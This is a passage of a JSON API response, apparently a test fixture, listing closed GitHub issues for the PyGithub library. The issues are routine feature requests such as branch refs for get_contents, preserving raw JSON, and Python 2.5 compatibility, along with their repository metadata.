setup, Command`\n\nto:\n\n`from setuptools import setup, Command, find_packages`\n\nThus users can also distribute or use PyGithub in as an .egg via this command:\n\n`python setup.py bdist_egg`\n\nAFAIK this will not impact the remainder of the existing use of setup.py?"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/123","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/123/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/123/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/123/events","html_url":"https://github.com/jacquev6/PyGithub/issues/123","id":9489725,"number":123,"title":"Repository.get_contents does not accept ref=branch","user":{"login":"fixxxeruk","id":1074943,"avatar_url":"https://secure.gravatar.com/avatar/de3cd5a76ce1ef2cdcf7060068d693e0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"de3cd5a76ce1ef2cdcf7060068d693e0","url":"https://api.github.com/users/fixxxeruk","html_url":"https://github.com/fixxxeruk","followers_url":"https://api.github.com/users/fixxxeruk/followers","following_url":"https://api.github.com/users/fixxxeruk/following{/other_user}","gists_url":"https://api.github.com/users/fixxxeruk/gists{/gist_id}","starred_url":"https://api.github.com/users/fixxxeruk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/fixxxeruk/subscriptions","organizations_url":"https://api.github.com/users/fixxxeruk/orgs","repos_url":"https://api.github.com/users/fixxxeruk/repos","events_url":"https://api.github.com/users/fixxxeruk/events{/privacy}","received_events_url":"https://api.github.com/users/fixxxeruk/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/16","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/16/labels","id":215570,"number":16,"title":"Version 1.10.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":10,"state":"closed","created_at":"2012-11-19T20:02:45Z","updated_at":"2012-12-25T12:25:01Z","due_on":null},"comments":1,"created_at":"2012-12-23T11:59:53Z","updated_at":"2012-12-24T13:26:20Z","closed_at":"2012-12-24T13:26:20Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"As per the documentation:\r\nhttp://developer.github.com/v3/repos/contents/\r\n\r\nThe Get Contents GitHub API accepts an optional parameter `ref` which allows the user to specify the branch. Otherwise this parameter defaults to `master`.\r\n\r\nPlease implement this optional parameter on Repository.get_contents, which currently only accepts a single parameter to specify the path."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/144","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/144/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/144/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/144/events","html_url":"https://github.com/jacquev6/PyGithub/issues/144","id":11746141,"number":144,"title":"Store original JSON response for objects and expose it for document-oriented storage","user":{"login":"ptwobrussell","id":98668,"avatar_url":"https://secure.gravatar.com/avatar/322a50ffdb98591460f05015770b7adb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"322a50ffdb98591460f05015770b7adb","url":"https://api.github.com/users/ptwobrussell","html_url":"https://github.com/ptwobrussell","followers_url":"https://api.github.com/users/ptwobrussell/followers","following_url":"https://api.github.com/users/ptwobrussell/following{/other_user}","gists_url":"https://api.github.com/users/ptwobrussell/gists{/gist_id}","starred_url":"https://api.github.com/users/ptwobrussell/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ptwobrussell/subscriptions","organizations_url":"https://api.github.com/users/ptwobrussell/orgs","repos_url":"https://api.github.com/users/ptwobrussell/repos","events_url":"https://api.github.com/users/ptwobrussell/events{/privacy}","received_events_url":"https://api.github.com/users/ptwobrussell/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/23","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/23/labels","id":282556,"number":23,"title":"Version 1.13.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":6,"state":"closed","created_at":"2013-03-07T08:43:38Z","updated_at":"2013-03-22T17:44:33Z","due_on":null},"comments":1,"created_at":"2013-03-07T04:54:23Z","updated_at":"2013-03-21T20:57:54Z","closed_at":"2013-03-21T20:57:54Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"I'd like to be able to serialize a GithubObject and get back the original JSON that was used to initially construct it for purposes of serializing out to a document oriented store like MongoDB where this representation would be a natural (and highly portable) fit for storage. From looking at how objects are constructed, it seems as though it would be pretty trivial to keep around the JSON and expose it as necessary as opposed to just discarding it.\r\n\r\nPerhaps `__str__` could return the readable JSON representation and `__repr__` could contain what currently happens from `__str__` (the unambiguous object with its address)?\r\n\r\nIf there are concerns over memory, perhaps this could be a configurable option?\r\n\r\nAt any rate, I could help put together the patch but would first like to get your thoughts and whether or not you're open to merging in such a pull request"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/47","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/47/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/47/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/47/events","html_url":"https://github.com/jacquev6/PyGithub/issues/47","id":5152384,"number":47,"title":"Just a small patch to make PyGithub compatible with Python 2.5","user":{"login":"pmuilu","id":691799,"avatar_url":"https://secure.gravatar.com/avatar/3aa27c0add742f542848af3b8a9e980c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3aa27c0add742f542848af3b8a9e980c","url":"https://api.github.com/users/pmuilu","html_url":"https://github.com/pmuilu","followers_url":"https://api.github.com/users/pmuilu/followers","following_url":"https://api.github.com/users/pmuilu/following{/other_user}","gists_url":"https://api.github.com/users/pmuilu/gists{/gist_id}","starred_url":"https://api.github.com/users/pmuilu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pmuilu/subscriptions","organizations_url":"https://api.github.com/users/pmuilu/orgs","repos_url":"https://api.github.com/users/pmuilu/repos","events_url":"https://api.github.com/users/pmuilu/events{/privacy}","received_events_url":"https://api.github.com/users/pmuilu/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":null,"comments":2,"created_at":"2012-06-19T17:58:29Z","updated_at":"2012-06-20T21:06:08Z","closed_at":"2012-06-20T20:08:20Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/47","diff_url":"https://github.com/jacquev6/PyGithub/pull/47.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/47.patch"},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Seems to work otherwise."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/48","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/48/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/48/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/48/events","html_url":"https://github.com/jacquev6/PyGithub/issues/48","id":5177381,"number":48,"title":"data_files install location","user":{"login":"malexw","id":577322,"avatar_url":"https://secure.gravatar.com/avatar/13a30f9924fa2bd918cbb8d06dd8b55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"13a30f9924fa2bd918cbb8d06dd8b55a","url":"https://api.github.com/users/malexw","html_url":"https://github.com/malexw","followers_url":"https://api.github.com/users/malexw/followers","following_url":"https://api.github.com/users/malexw/following{/other_user}","gists_url":"https://api.github.com/users/malexw/gists{/gist_id}","starred_url":"https://api.github.com/users/malexw/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/malexw/subscriptions","organizations_url":"https://api.github.com/users/malexw/orgs","repos_url":"https://api.github.com/users/malexw/repos","events_url":"https://api.github.com/users/malexw/events{/privacy}","received_events_url":"https://api.github.com/users/malexw/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/7","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/7/labels","id":140183,"number":7,"title":"Version 1.3","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":4,"state":"closed","created_at":"2012-07-03T07:32:39Z","updated_at":"2012-07-13T20:01:15Z","due_on":"2012-07-16T07:00:00Z"},"comments":2,"created_at":"2012-06-20T18:33:44Z","updated_at":"2012-07-13T19:20:49Z","closed_at":"2012-07-13T19:20:49Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API 